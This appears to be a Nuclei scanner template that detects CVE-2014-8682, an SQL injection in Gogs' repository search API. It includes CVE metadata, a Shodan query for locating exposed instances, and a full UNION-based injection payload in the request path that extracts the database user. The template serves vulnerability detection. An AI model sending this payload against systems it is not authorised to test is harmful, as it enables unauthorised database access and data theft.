id: CVE-2014-8682

info:
  name: Gogs (Go Git Service) - SQL Injection
  author: dhiyaneshDK,daffainfo
  severity: high
  description: Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches and updates provided by the Gogs project to mitigate the SQL Injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-8682
    - http://seclists.org/fulldisclosure/2014/Nov/33
    - http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html
    - https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d
    - https://www.exploit-db.com/exploits/35238
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/98694
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-8682
    cwe-id: CWE-89
    epss-score: 0.00808
    epss-percentile: 0.79839
    cpe: cpe:2.3:a:gogits:gogs:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gogits
    product: gogs
    shodan-query: title:"Sign In - Gogs"
  tags: cve2014,cve,gogs,seclists,packetstorm,edb,sqli,gogits

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"ok":true'
          - '"data"'
          - '"repolink":"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100814319b746978b7ca718b8e25ca06acff4cad96360cbdef067269198629865cc02203d59471b74f7036f8c629f2e3a72650ce063c6c2bcf30ed8a1165aad0b4935ce:922c64590222798bb761d5b6d8e72950